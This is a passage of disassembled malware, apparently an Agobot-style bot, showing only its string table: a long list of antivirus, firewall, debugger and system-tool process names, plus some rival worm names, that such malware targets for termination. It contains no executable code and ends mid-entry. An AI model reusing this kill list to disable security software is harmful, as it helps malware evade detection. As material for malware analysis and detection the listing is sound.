aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .text:0042F6F0o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .text:0042F6ECo align 4 aFAgobot_exe db 'F-AGOBOT.EXE',0 ; DATA XREF: .text:0042F6E8o align 4 aHijackthis_exe db 'HIJACKTHIS.EXE',0 ; DATA XREF: .text:0042F6E4o align 4 a_avpm_exe db '_AVPM.EXE',0 ; DATA XREF: .text:0042F6E0o align 4 a_avpcc_exe db '_AVPCC.EXE',0 ; DATA XREF: .text:0042F6DCo align 10h a_avp32_exe db '_AVP32.EXE',0 ; DATA XREF: .text:0042F6D8o align 4 aZonealarm_exe db 'ZONEALARM.EXE',0 ; DATA XREF: .text:0042F6D4o align 4 aZonalm2601_exe db 'ZONALM2601.EXE',0 ; DATA XREF: .text:0042F6D0o align 4 aZatutor_exe db 'ZATUTOR.EXE',0 ; DATA XREF: .text:0042F6CCo aZapsetup3001_e db 'ZAPSETUP3001.EXE',0 ; DATA XREF: .text:0042F6C8o align 4 aZapro_exe db 'ZAPRO.EXE',0 ; DATA XREF: .text:0042F6C4o align 4 aXpf202en_exe db 'XPF202EN.EXE',0 ; DATA XREF: .text:0042F6C0o align 4 aWyvernworksfir db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: .text:0042F6BCo aWupdt_exe db 'WUPDT.EXE',0 ; DATA XREF: .text:0042F6B8o align 4 aWupdater_exe db 'WUPDATER.EXE',0 ; DATA XREF: .text:0042F6B4o align 4 aWsbgate_exe db 'WSBGATE.EXE',0 ; DATA XREF: .text:0042F6B0o aWrctrl_exe db 'WRCTRL.EXE',0 ; DATA XREF: .text:0042F6ACo align 4 aWradmin_exe db 'WRADMIN.EXE',0 ; DATA XREF: .text:0042F6A8o aWnt_exe db 'WNT.EXE',0 ; DATA XREF: .text:0042F6A4o aWnad_exe db 'WNAD.EXE',0 ; DATA XREF: .text:0042F6A0o align 4 aWkufind_exe db 'WKUFIND.EXE',0 ; DATA XREF: .text:0042F69Co aWinupdate_exe db 'WINUPDATE.EXE',0 ; DATA XREF: .text:0042F698o align 10h aWintsk32_exe db 'WINTSK32.EXE',0 ; DATA XREF: .text:0042F694o align 10h aWinstart001_ex db 'WINSTART001.EXE',0 ; DATA XREF: .text:0042F690o aWinstart_exe db 'WINSTART.EXE',0 ; DATA XREF: .text:0042F68Co align 10h aWinssk32_exe db 'WINSSK32.EXE',0 ; DATA XREF: .text:0042F688o align 10h aWinservn_exe db 'WINSERVN.EXE',0 ; DATA XREF: .text:0042F684o align 10h aWinrecon_exe db 'WINRECON.EXE',0 ; DATA XREF: .text:0042F680o align 10h aWinppr32_exe db 'WINPPR32.EXE',0 ; DATA XREF: .text:0042F67Co align 10h aWinnet_exe db 'WINNET.EXE',0 ; DATA XREF: .text:0042F678o align 4 aWinmain_exe db 'WINMAIN.EXE',0 ; DATA XREF: .text:0042F674o aWinlogin_exe db 'WINLOGIN.EXE',0 ; DATA XREF: .text:0042F670o align 4 aWininitx_exe db 'WININITX.EXE',0 ; DATA XREF: .text:0042F66Co align 4 aWininit_exe db 'WININIT.EXE',0 ; DATA XREF: .text:0042F668o aWininetd_exe db 'WININETD.EXE',0 ; DATA XREF: .text:0042F664o align 4 aWindows_exe db 'WINDOWS.EXE',0 ; DATA XREF: .text:0042F660o aWindow_exe db 'WINDOW.EXE',0 ; DATA XREF: .text:0042F65Co align 4 aWinactive_exe db 'WINACTIVE.EXE',0 ; DATA XREF: .text:0042F658o align 4 aWin32us_exe db 'WIN32US.EXE',0 ; DATA XREF: .text:0042F654o aWin32_exe db 'WIN32.EXE',0 ; DATA XREF: .text:0042F650o align 4 aWinBugsfix_exe db 'WIN-BUGSFIX.EXE',0 ; DATA XREF: .text:0042F64Co aWimmun32_exe db 'WIMMUN32.EXE',0 ; DATA XREF: .text:0042F648o align 4 aWhoswatchingme db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: .text:0042F644o align 4 aWgfe95_exe db 'WGFE95.EXE',0 ; DATA XREF: .text:0042F640o align 4 aWfindv32_exe db 'WFINDV32.EXE',0 ; DATA XREF: .text:0042F63Co align 4 aWebtrap_exe db 'WEBTRAP.EXE',0 ; DATA XREF: .text:0042F638o aWebscanx_exe db 'WEBSCANX.EXE',0 ; DATA XREF: .text:0042F634o align 10h aWebdav_exe db 'WEBDAV.EXE',0 ; DATA XREF: .text:0042F630o align 4 aWatchdog_exe db 'WATCHDOG.EXE',0 ; DATA XREF: .text:0042F62Co align 4 aW9x_exe db 'W9X.EXE',0 ; DATA XREF: .text:0042F628o aW32dsm89_exe db 'W32DSM89.EXE',0 ; DATA XREF: .text:0042F624o align 4 aVswinperse_exe db 'VSWINPERSE.EXE',0 ; DATA XREF: .text:0042F620o align 4 aVswinntse_exe db 'VSWINNTSE.EXE',0 ; DATA XREF: .text:0042F61Co align 4 aVswin9xe_exe db 'VSWIN9XE.EXE',0 ; DATA XREF: .text:0042F618o align 4 aVsstat_exe db 'VSSTAT.EXE',0 ; DATA XREF: .text:0042F614o align 10h aVsmon_exe db 'VSMON.EXE',0 ; DATA XREF: .text:0042F610o align 4 aVsmain_exe db 'VSMAIN.EXE',0 ; DATA XREF: .text:0042F60Co align 4 aVsisetup_exe db 'VSISETUP.EXE',0 ; DATA XREF: .text:0042F608o align 4 aVshwin32_exe db 'VSHWIN32.EXE',0 ; DATA XREF: .text:0042F604o align 4 aVsecomr_exe db 'VSECOMR.EXE',0 ; DATA XREF: .text:0042F600o aVsched_exe db 'VSCHED.EXE',0 ; DATA XREF: .text:0042F5FCo align 10h aVscenu6_02d30_ db 'VSCENU6.02D30.EXE',0 ; DATA XREF: .text:0042F5F8o align 4 aVscan40_exe db 'VSCAN40.EXE',0 ; DATA XREF: .text:0042F5F4o aVptray_exe db 'VPTRAY.EXE',0 ; DATA XREF: .text:0042F5F0o align 4 aVpfw30s_exe db 'VPFW30S.EXE',0 ; DATA XREF: .text:0042F5ECo aVpc42_exe db 'VPC42.EXE',0 ; DATA XREF: .text:0042F5E8o align 4 aVpc32_exe db 'VPC32.EXE',0 ; DATA XREF: .text:0042F5E4o align 10h aVnpc3000_exe db 'VNPC3000.EXE',0 ; DATA XREF: .text:0042F5E0o align 10h aVnlan300_exe db 'VNLAN300.EXE',0 ; DATA XREF: .text:0042F5DCo align 10h aVirusmdpersona db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: .text:0042F5D8o aVirHelp_exe db 'VIR-HELP.EXE',0 ; DATA XREF: .text:0042F5D4o align 4 aVfsetup_exe db 'VFSETUP.EXE',0 ; DATA XREF: .text:0042F5D0o aVettray_exe db 'VETTRAY.EXE',0 ; DATA XREF: .text:0042F5CCo aVet95_exe db 'VET95.EXE',0 ; DATA XREF: .text:0042F5C8o align 10h aVet32_exe db 'VET32.EXE',0 ; DATA XREF: .text:0042F5C4o align 4 aVcsetup_exe db 'VCSETUP.EXE',0 ; DATA XREF: .text:0042F5C0o aVbwinntw_exe db 'VBWINNTW.EXE',0 ; DATA XREF: .text:0042F5BCo align 4 aVbwin9x_exe db 'VBWIN9X.EXE',0 ; DATA XREF: .text:0042F5B8o aVbust_exe db 'VBUST.EXE',0 ; DATA XREF: .text:0042F5B4o align 10h aVbcons_exe db 'VBCONS.EXE',0 ; DATA XREF: .text:0042F5B0o align 4 aVbcmserv_exe db 'VBCMSERV.EXE',0 ; DATA XREF: .text:0042F5ACo align 4 aUtpost_exe db 'UTPOST.EXE',0 ; DATA XREF: .text:0042F5A8o align 4 aUpgrad_exe db 'UPGRAD.EXE',0 ; DATA XREF: .text:0042F5A4o align 4 aUpdate_exe db 'UPDATE.EXE',0 ; DATA XREF: .text:0042F59Co ; .text:0042F5A0o align 10h aUpdat_exe db 'UPDAT.EXE',0 ; DATA XREF: .text:0042F598o align 4 aUndoboot_exe db 'UNDOBOOT.EXE',0 ; DATA XREF: .text:0042F594o align 4 aTvtmd_exe db 'TVTMD.EXE',0 ; DATA XREF: .text:0042F590o align 4 aTvmd_exe db 'TVMD.EXE',0 ; DATA XREF: .text:0042F58Co align 4 aTsadbot_exe db 'TSADBOT.EXE',0 ; DATA XREF: .text:0042F588o aTrojantrap3_ex db 'TROJANTRAP3.EXE',0 ; DATA XREF: .text:0042F584o aTrjsetup_exe db 'TRJSETUP.EXE',0 ; DATA XREF: .text:0042F580o align 10h aTrjscan_exe db 'TRJSCAN.EXE',0 ; DATA XREF: .text:0042F57Co aTrickler_exe db 'TRICKLER.EXE',0 ; DATA XREF: .text:0042F578o align 4 aTracert_exe db 'TRACERT.EXE',0 ; DATA XREF: .text:0042F574o aTitaninxp_exe db 'TITANINXP.EXE',0 ; DATA XREF: .text:0042F570o align 4 aTitanin_exe db 'TITANIN.EXE',0 ; DATA XREF: .text:0042F56Co aTgbob_exe db 'TGBOB.EXE',0 ; DATA XREF: .text:0042F568o align 10h aTfak5_exe db 'TFAK5.EXE',0 ; DATA XREF: .text:0042F564o align 4 aTfak_exe db 'TFAK.EXE',0 ; DATA XREF: .text:0042F560o align 4 aTeekids_exe db 'TEEKIDS.EXE',0 ; DATA XREF: .text:0042F55Co aTds2Nt_exe db 'TDS2-NT.EXE',0 ; DATA XREF: .text:0042F558o aTds298_exe db 'TDS2-98.EXE',0 ; DATA XREF: .text:0042F554o aTds3_exe db 'TDS-3.EXE',0 ; DATA XREF: .text:0042F550o align 4 aTcm_exe db 'TCM.EXE',0 ; DATA XREF: .text:0042F54Co aTca_exe db 'TCA.EXE',0 ; DATA XREF: .text:0042F548o aTc_exe db 'TC.EXE',0 ; DATA XREF: .text:0042F544o align 10h aTbscan_exe db 'TBSCAN.EXE',0 ; DATA XREF: .text:0042F540o align 4 aTaumon_exe db 'TAUMON.EXE',0 ; DATA XREF: .text:0042F53Co align 4 aTaskmon_exe db 'TASKMON.EXE',0 ; DATA XREF: .text:0042F538o aTaskmo_exe db 'TASKMO.EXE',0 ; DATA XREF: .text:0042F534o align 10h aTaskmg_exe db 'TASKMG.EXE',0 ; DATA XREF: .text:0042F530o align 4 aSysupd_exe db 'SYSUPD.EXE',0 ; DATA XREF: .text:0042F52Co align 4 aSystem32_exe db 'SYSTEM32.EXE',0 ; DATA XREF: .text:0042F528o align 4 aSystem_exe db 'SYSTEM.EXE',0 ; DATA XREF: .text:0042F524o align 4 aSysedit_exe db 'SYSEDIT.EXE',0 ; DATA XREF: .text:0042F520o aSymtray_exe db 'SYMTRAY.EXE',0 ; DATA XREF: .text:0042F51Co aSymproxysvc_ex db 'SYMPROXYSVC.EXE',0 ; DATA XREF: .text:0042F518o aSweepnet_sweep db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: .text:0042F514o align 10h aSweep95_exe db 'SWEEP95.EXE',0 ; DATA XREF: .text:0042F510o aUpd32_exe db 'UPD32.EXE',0 ; DATA XREF: .text:0042F50Co align 4 aSvshost32_exe db 'SVSHOST32.EXE',0 ; DATA XREF: .text:0042F508o align 4 aSvshost_exe db 'SVSHOST.EXE',0 ; DATA XREF: .text:0042F504o aSvchosts_exe db 'SVCHOSTS.EXE',0 ; DATA XREF: .text:0042F500o align 4 aSvchostc_exe db 'SVCHOSTC.EXE',0 ; DATA XREF: .text:0042F4FCo align 4 aSvc_exe db 'SVC.EXE',0 ; DATA XREF: .text:0042F4F8o aSupporter5_exe db 'SUPPORTER5.EXE',0 ; DATA XREF: .text:0042F4F4o align 4 aSupport_exe db 'SUPPORT.EXE',0 ; DATA XREF: .text:0042F4F0o aSupftrl_exe db 'SUPFTRL.EXE',0 ; DATA XREF: .text:0042F4ECo aStcloader_exe db 'STCLOADER.EXE',0 ; DATA XREF: .text:0042F4E8o align 4 aStart_exe db 'START.EXE',0 ; DATA XREF: .text:0042F4E4o align 10h aSt2_exe db 'ST2.EXE',0 ; DATA XREF: .text:0042F4E0o aSsg_4104_exe db 'SSG_4104.EXE',0 ; DATA XREF: .text:0042F4DCo align 4 aSsgrate_exe db 'SSGRATE.EXE',0 ; DATA XREF: .text:0042F4D8o aSs3edit_exe db 'SS3EDIT.EXE',0 ; DATA XREF: .text:0042F4D4o aSrng_exe db 'SRNG.EXE',0 ; DATA XREF: .text:0042F4D0o align 4 aSrexe_exe db 'SREXE.EXE',0 ; DATA XREF: .text:0042F4CCo align 4 aSpyxx_exe db 'SPYXX.EXE',0 ; DATA XREF: .text:0042F4C8o align 4 aSpoolsv32_exe db 'SPOOLSV32.EXE',0 ; DATA XREF: .text:0042F4C4o align 4 aSpoolcv_exe db 'SPOOLCV.EXE',0 ; DATA XREF: .text:0042F4C0o aSpoler_exe db 'SPOLER.EXE',0 ; DATA XREF: .text:0042F4BCo align 4 aSphinx_exe db 'SPHINX.EXE',0 ; DATA XREF: .text:0042F4B8o align 4 aSpf_exe db 'SPF.EXE',0 ; DATA XREF: .text:0042F4B4o aSperm_exe db 'SPERM.EXE',0 ; DATA XREF: .text:0042F4B0o align 4 aSofi_exe db 'SOFI.EXE',0 ; DATA XREF: .text:0042F4ACo align 4 aSoap_exe db 'SOAP.EXE',0 ; DATA XREF: .text:0042F4A8o align 4 aSmss32_exe db 'SMSS32.EXE',0 ; DATA XREF: .text:0042F4A4o align 10h aSms_exe db 'SMS.EXE',0 ; DATA XREF: .text:0042F4A0o aSmc_exe db 'SMC.EXE',0 ; DATA XREF: .text:0042F49Co aShowbehind_exe db 'SHOWBEHIND.EXE',0 ; DATA XREF: .text:0042F498o align 10h aShn_exe db 'SHN.EXE',0 ; DATA XREF: .text:0042F494o aShellspyinstal db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: .text:0042F490o aSh_exe db 'SH.EXE',0 ; DATA XREF: .text:0042F48Co align 4 aSgssfw32_exe db 'SGSSFW32.EXE',0 ; DATA XREF: .text:0042F488o align 4 aSfc_exe db 'SFC.EXE',0 ; DATA XREF: .text:0042F484o aSetup_flowprot db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: .text:0042F480o align 4 aSetupvameeval_ db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: .text:0042F47Co align 4 aServlces_exe db 'SERVLCES.EXE',0 ; DATA XREF: .text:0042F478o align 4 aServlce_exe db 'SERVLCE.EXE',0 ; DATA XREF: .text:0042F474o aService_exe db 'SERVICE.EXE',0 ; DATA XREF: .text:0042F470o aServ95_exe db 'SERV95.EXE',0 ; DATA XREF: .text:0042F46Co align 10h aSd_exe db 'SD.EXE',0 ; DATA XREF: .text:0042F468o align 4 aScvhost_exe db 'SCVHOST.EXE',0 ; DATA XREF: .text:0042F464o aScrsvr_exe db 'SCRSVR.EXE',0 ; DATA XREF: .text:0042F460o align 10h aScrscan_exe db 'SCRSCAN.EXE',0 ; DATA XREF: .text:0042F45Co aScanpm_exe db 'SCANPM.EXE',0 ; DATA XREF: .text:0042F458o align 4 aScan95_exe db 'SCAN95.EXE',0 ; DATA XREF: .text:0042F454o align 4 aScan32_exe db 'SCAN32.EXE',0 ; DATA XREF: .text:0042F450o align 10h aScam32_exe db 'SCAM32.EXE',0 ; DATA XREF: .text:0042F44Co align 4 aSc_exe db 'SC.EXE',0 ; DATA XREF: .text:0042F448o align 4 aSbserv_exe db 'SBSERV.EXE',0 ; DATA XREF: .text:0042F444o align 10h aSavenow_exe db 'SAVENOW.EXE',0 ; DATA XREF: .text:0042F440o aSave_exe db 'SAVE.EXE',0 ; DATA XREF: .text:0042F43Co align 4 aSahagent_exe db 'SAHAGENT.EXE',0 ; DATA XREF: .text:0042F438o align 4 aSafeweb_exe db 'SAFEWEB.EXE',0 ; DATA XREF: .text:0042F434o aRuxdll32_exe db 'RUXDLL32.EXE',0 ; DATA XREF: .text:0042F430o align 4 aRundll16_exe db 'RUNDLL16.EXE',0 ; DATA XREF: .text:0042F42Co align 4 aRundll_exe db 'RUNDLL.EXE',0 ; DATA XREF: .text:0042F428o align 10h aRun32dll_exe db 'RUN32DLL.EXE',0 ; DATA XREF: .text:0042F424o align 10h aRulaunch_exe db 'RULAUNCH.EXE',0 ; DATA XREF: .text:0042F420o align 10h aRtvscn95_exe db 'RTVSCN95.EXE',0 ; DATA XREF: .text:0042F41Co align 10h aRtvscan_exe db 'RTVSCAN.EXE',0 ; DATA XREF: .text:0042F418o aRshell_exe db 'RSHELL.EXE',0 ; DATA XREF: .text:0042F414o align 4 aRrguard_exe db 'RRGUARD.EXE',0 ; DATA XREF: .text:0042F410o aRescue32_exe db 'RESCUE32.EXE',0 ; DATA XREF: .text:0042F40Co align 4 aRescue_exe db 'RESCUE.EXE',0 ; DATA XREF: .text:0042F408o align 10h aRegedt32_exe db 'REGEDT32.EXE',0 ; DATA XREF: .text:0042F404o align 10h aRegedit_exe db 'REGEDIT.EXE',0 ; DATA XREF: .text:0042F400o aReged_exe db 'REGED.EXE',0 ; DATA XREF: .text:0042F3FCo align 4 aRealmon_exe db 'REALMON.EXE',0 ; DATA XREF: .text:0042F3F8o aRcsync_exe db 'RCSYNC.EXE',0 ; DATA XREF: .text:0042F3F4o align 10h aRb32_exe db 'RB32.EXE',0 ; DATA XREF: .text:0042F3F0o align 4 aRay_exe db 'RAY.EXE',0 ; DATA XREF: .text:0042F3ECo aRav8win32eng_e db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: .text:0042F3E8o align 4 aRav7win_exe db 'RAV7WIN.EXE',0 ; DATA XREF: .text:0042F3E4o aRav7_exe db 'RAV7.EXE',0 ; DATA XREF: .text:0042F3E0o align 10h aRapapp_exe db 'RAPAPP.EXE',0 ; DATA XREF: .text:0042F3DCo align 4 aQserver_exe db 'QSERVER.EXE',0 ; DATA XREF: .text:0042F3D8o aQconsole_exe db 'QCONSOLE.EXE',0 ; DATA XREF: .text:0042F3D4o align 4 aPview95_exe db 'PVIEW95.EXE',0 ; DATA XREF: .text:0042F3D0o aPussy_exe db 'PUSSY.EXE',0 ; DATA XREF: .text:0042F3CCo align 10h aPurge_exe db 'PURGE.EXE',0 ; DATA XREF: .text:0042F3C8o align 4 aPspf_exe db 'PSPF.EXE',0 ; DATA XREF: .text:0042F3C4o align 4 aProtectx_exe db 'PROTECTX.EXE',0 ; DATA XREF: .text:0042F3C0o align 4 aProport_exe db 'PROPORT.EXE',0 ; DATA XREF: .text:0042F3BCo aProgramauditor db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: .text:0042F3B8o align 4 aProcexplorerv1 db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: .text:0042F3B4o align 10h aProcessmonitor db 'PROCESSMONITOR.EXE',0 ; DATA XREF: .text:0042F3B0o align 4 aProcdump_exe db 'PROCDUMP.EXE',0 ; DATA XREF: .text:0042F3ACo align 4 aPrmvr_exe db 'PRMVR.EXE',0 ; DATA XREF: .text:0042F3A8o align 10h aPrmt_exe db 'PRMT.EXE',0 ; DATA XREF: .text:0042F3A4o align 4 aPrizesurfer_ex db 'PRIZESURFER.EXE',0 ; DATA XREF: .text:0042F3A0o aPpvstop_exe db 'PPVSTOP.EXE',0 ; DATA XREF: .text:0042F39Co aPptbc_exe db 'PPTBC.EXE',0 ; DATA XREF: .text:0042F398o align 4 aPpinupdt_exe db 'PPINUPDT.EXE',0 ; DATA XREF: .text:0042F394o align 4 aPowerscan_exe db 'POWERSCAN.EXE',0 ; DATA XREF: .text:0042F390o align 4 aPortmonitor_ex db 'PORTMONITOR.EXE',0 ; DATA XREF: .text:0042F38Co aPortdetective_ db 'PORTDETECTIVE.EXE',0 ; DATA XREF: .text:0042F388o align 4 aPopscan_exe db 'POPSCAN.EXE',0 ; DATA XREF: .text:0042F384o aPoproxy_exe db 'POPROXY.EXE',0 ; DATA XREF: .text:0042F380o aPop3trap_exe db 'POP3TRAP.EXE',0 ; DATA XREF: .text:0042F37Co align 10h aPlatin_exe db 'PLATIN.EXE',0 ; DATA XREF: .text:0042F378o align 4 aPingscan_exe db 'PINGSCAN.EXE',0 ; DATA XREF: .text:0042F374o align 4 aPgmonitr_exe db 'PGMONITR.EXE',0 ; DATA XREF: .text:0042F370o align 4 aPfwadmin_exe db 'PFWADMIN.EXE',0 ; DATA XREF: .text:0042F36Co align 4 aPf2_exe db 'PF2.EXE',0 ; DATA XREF: .text:0042F368o aPerswf_exe db 'PERSWF.EXE',0 ; DATA XREF: .text:0042F364o align 10h aPersfw_exe db 'PERSFW.EXE',0 ; DATA XREF: .text:0042F360o align 4 aPeriscope_exe db 'PERISCOPE.EXE',0 ; DATA XREF: .text:0042F35Co align 4 aPenis_exe db 'PENIS.EXE',0 ; DATA XREF: .text:0042F358o align 4 aPdsetup_exe db 'PDSETUP.EXE',0 ; DATA XREF: .text:0042F354o aPcscan_exe db 'PCSCAN.EXE',0 ; DATA XREF: .text:0042F350o align 10h aPcip10117_0_ex db 'PCIP10117_0.EXE',0 ; DATA XREF: .text:0042F34Co aPcfwallicon_ex db 'PCFWALLICON.EXE',0 ; DATA XREF: .text:0042F348o aPcdsetup_exe db 'PCDSETUP.EXE',0 ; DATA XREF: .text:0042F344o align 10h aPccwin98_exe db 'PCCWIN98.EXE',0 ; DATA XREF: .text:0042F340o align 10h aPccwin97_exe db 'PCCWIN97.EXE',0 ; DATA XREF: .text:0042F33Co align 10h aPccntmon_exe db 'PCCNTMON.EXE',0 ; DATA XREF: .text:0042F338o align 10h aPcciomon_exe db 'PCCIOMON.EXE',0 ; DATA XREF: .text:0042F334o align 10h aPcc2k_76_1436_ db 'PCC2K_76_1436.EXE',0 ; DATA XREF: .text:0042F330o align 4 aPcc2002s902_ex db 'PCC2002S902.EXE',0 ; DATA XREF: .text:0042F32Co aPavw_exe db 'PAVW.EXE',0 ; DATA XREF: .text:0042F328o align 10h aPavsched_exe db 'PAVSCHED.EXE',0 ; DATA XREF: .text:0042F324o align 10h aPavproxy_exe db 'PAVPROXY.EXE',0 ; DATA XREF: .text:0042F320o align 10h aPavcl_exe db 'PAVCL.EXE',0 ; DATA XREF: .text:0042F31Co align 4 aPatch_exe db 'PATCH.EXE',0 ; DATA XREF: .text:0042F318o align 4 aPanixk_exe db 'PANIXK.EXE',0 ; DATA XREF: .text:0042F314o align 4 aPadmin_exe db 'PADMIN.EXE',0 ; DATA XREF: .text:0042F310o align 10h aOutpostproinst db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: .text:0042F30Co align 4 aOutpostinstall db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: .text:0042F308o align 4 aOutpost_exe db 'OUTPOST.EXE',0 ; DATA XREF: .text:0042F300o ; .text:0042F304o aOtfix_exe db 'OTFIX.EXE',0 ; DATA XREF: .text:0042F2FCo align 4 aOstronet_exe db 'OSTRONET.EXE',0 ; DATA XREF: .text:0042F2F8o align 4 aOptimize_exe db 'OPTIMIZE.EXE',0 ; DATA XREF: .text:0042F2F4o align 4 aOnsrvr_exe db 'ONSRVR.EXE',0 ; DATA XREF: .text:0042F2F0o align 10h aOllydbg_exe db 'OLLYDBG.EXE',0 ; DATA XREF: .text:0042F2ECo aNwtool16_exe db 'NWTOOL16.EXE',0 ; DATA XREF: .text:0042F2E8o align 4 aNwservice_exe db 'NWSERVICE.EXE',0 ; DATA XREF: .text:0042F2E4o align 4 aNwinst4_exe db 'NWINST4.EXE',0 ; DATA XREF: .text:0042F2E0o aNvsvc32_exe db 'NVSVC32.EXE',0 ; DATA XREF: .text:0042F2DCo aNvc95_exe db 'NVC95.EXE',0 ; DATA XREF: .text:0042F2D8o align 10h aNvarch16_exe db 'NVARCH16.EXE',0 ; DATA XREF: .text:0042F2D4o align 10h aNupgrade_exe db 'NUPGRADE.EXE',0 ; DATA XREF: .text:0042F2CCo ; .text:0042F2D0o align 10h aNui_exe db 'NUI.EXE',0 ; DATA XREF: .text:0042F2C8o aNtxconfig_exe db 'NTXconfig.EXE',0 ; DATA XREF: .text:0042F2C4o align 4 aNtvdm_exe db 'NTVDM.EXE',0 ; DATA XREF: .text:0042F2C0o align 4 aNtrtscan_exe db 'NTRTSCAN.EXE',0 ; DATA XREF: .text:0042F2BCo align 4 aNt_exe db 'NT.EXE',0 ; DATA XREF: .text:0042F2B8o align 4 aNsupdate_exe db 'NSUPDATE.EXE',0 ; DATA XREF: .text:0042F2B4o align 4 aNstask32_exe db 'NSTASK32.EXE',0 ; DATA XREF: .text:0042F2B0o align 4 aNssys32_exe db 'NSSYS32.EXE',0 ; DATA XREF: .text:0042F2ACo aNsched32_exe db 'NSCHED32.EXE',0 ; DATA XREF: .text:0042F2A8o align 4 aNpssvc_exe db 'NPSSVC.EXE',0 ; DATA XREF: .text:0042F2A4o align 4 aNpscheck_exe db 'NPSCHECK.EXE',0 ; DATA XREF: .text:0042F2A0o align 4 aNprotect_exe db 'NPROTECT.EXE',0 ; DATA XREF: .text:0042F29Co align 4 aNpfmessenger_e db 'NPFMESSENGER.EXE',0 ; DATA XREF: .text:0042F298o align 4 aNpf40_tw_98_nt db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: .text:0042F294o align 4 aNotstart_exe db 'NOTSTART.EXE',0 ; DATA XREF: .text:0042F290o align 4 aNorton_interne db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: .text:0042F28Co align 4 aNormist_exe db 'NORMIST.EXE',0 ; DATA XREF: .text:0042F288o aNod32_exe db 'NOD32.EXE',0 ; DATA XREF: .text:0042F284o align 10h aNmain_exe db 'NMAIN.EXE',0 ; DATA XREF: .text:0042F280o align 4 aNisum_exe db 'NISUM.EXE',0 ; DATA XREF: .text:0042F27Co align 4 aNisserv_exe db 'NISSERV.EXE',0 ; DATA XREF: .text:0042F278o aNetutils_exe db 'NETUTILS.EXE',0 ; DATA XREF: .text:0042F274o align 4 aNetstat_exe db 'NETSTAT.EXE',0 ; DATA XREF: .text:0042F270o aNetspyhunter1_ db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: .text:0042F26Co align 4 aNetscanpro_exe db 'NETSCANPRO.EXE',0 ; DATA XREF: .text:0042F268o align 4 aNetmon_exe db 'NETMON.EXE',0 ; DATA XREF: .text:0042F264o align 4 aNetinfo_exe db 'NETINFO.EXE',0 ; DATA XREF: .text:0042F260o aNetd32_exe db 'NETD32.EXE',0 ; DATA XREF: .text:0042F25Co align 4 aNetarmor_exe db 'NETARMOR.EXE',0 ; DATA XREF: .text:0042F258o align 4 aNeowatchlog_ex db 'NEOWATCHLOG.EXE',0 ; DATA XREF: .text:0042F254o aNeomonitor_exe db 'NEOMONITOR.EXE',0 ; DATA XREF: .text:0042F250o align 4 aNdd32_exe db 'NDD32.EXE',0 ; DATA XREF: .text:0042F24Co align 4 aNcinst4_exe db 'NCINST4.EXE',0 ; DATA XREF: .text:0042F248o aNc2000_exe db 'NC2000.EXE',0 ; DATA XREF: .text:0042F244o align 10h aNavwnt_exe db 'NAVWNT.EXE',0 ; DATA XREF: .text:0042F240o align 4 aNavw32_exe db 'NAVW32.EXE',0 ; DATA XREF: .text:0042F23Co align 4 aNavstub_exe db 'NAVSTUB.EXE',0 ; DATA XREF: .text:0042F238o aNavnt_exe db 'NAVNT.EXE',0 ; DATA XREF: .text:0042F234o align 10h aNavlu32_exe db 'NAVLU32.EXE',0 ; DATA XREF: .text:0042F230o aNavengnavex15_ db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: .text:0042F22Co align 4 aNavdx_exe db 'NAVDX.EXE',0 ; DATA XREF: .text:0042F228o align 4 aNavapw32_exe db 'NAVAPW32.EXE',0 ; DATA XREF: .text:0042F224o align 4 aNavapsvc_exe db 'NAVAPSVC.EXE',0 ; DATA XREF: .text:0042F220o align 4 aNavap_navapsvc db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: .text:0042F21Co align 4 aAutoProtect_na db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: .text:0042F218o align 4 aNav_exe db 'NAV.EXE',0 ; DATA XREF: .text:0042F214o aN32scanw_exe db 'N32SCANW.EXE',0 ; DATA XREF: .text:0042F210o align 4 aMwatch_exe db 'MWATCH.EXE',0 ; DATA XREF: .text:0042F20Co align 4 aMu0311ad_exe db 'MU0311AD.EXE',0 ; DATA XREF: .text:0042F208o align 4 aMsvxd_exe db 'MSVXD.EXE',0 ; DATA XREF: .text:0042F204o align 4 aMssys_exe db 'MSSYS.EXE',0 ; DATA XREF: .text:0042F200o align 10h aMssmmc32_exe db 'MSSMMC32.EXE',0 ; DATA XREF: .text:0042F1FCo align 10h aMsmsgri32_exe db 'MSMSGRI32.EXE',0 ; DATA XREF: .text:0042F1F8o align 10h aMsmgt_exe db 'MSMGT.EXE',0 ; DATA XREF: .text:0042F1F4o align 4 aMslaugh_exe db 'MSLAUGH.EXE',0 ; DATA XREF: .text:0042F1F0o aMsinfo32_exe db 'MSINFO32.EXE',0 ; DATA XREF: .text:0042F1ECo align 4 aMsiexec16_exe db 'MSIEXEC16.EXE',0 ; DATA XREF: .text:0042F1E8o align 4 aMsdos_exe db 'MSDOS.EXE',0 ; DATA XREF: .text:0042F1E4o align 4 aMsdm_exe db 'MSDM.EXE',0 ; DATA XREF: .text:0042F1E0o align 10h aMsconfig_exe_0 db 'MSCONFIG.EXE',0 ; DATA XREF: .text:0042F1DCo align 10h aMscman_exe db 'MSCMAN.EXE',0 ; DATA XREF: .text:0042F1D8o align 4 aMsccn32_exe db 'MSCCN32.EXE',0 ; DATA XREF: .text:0042F1D4o aMscache_exe db 'MSCACHE.EXE',0 ; DATA XREF: .text:0042F1D0o aMsblast_exe db 'MSBLAST.EXE',0 ; DATA XREF: .text:0042F1CCo aMsbb_exe db 'MSBB.EXE',0 ; DATA XREF: .text:0042F1C8o align 4 aMsapp_exe db 'MSAPP.EXE',0 ; DATA XREF: .text:0042F1C4o align 4 aMrflux_exe 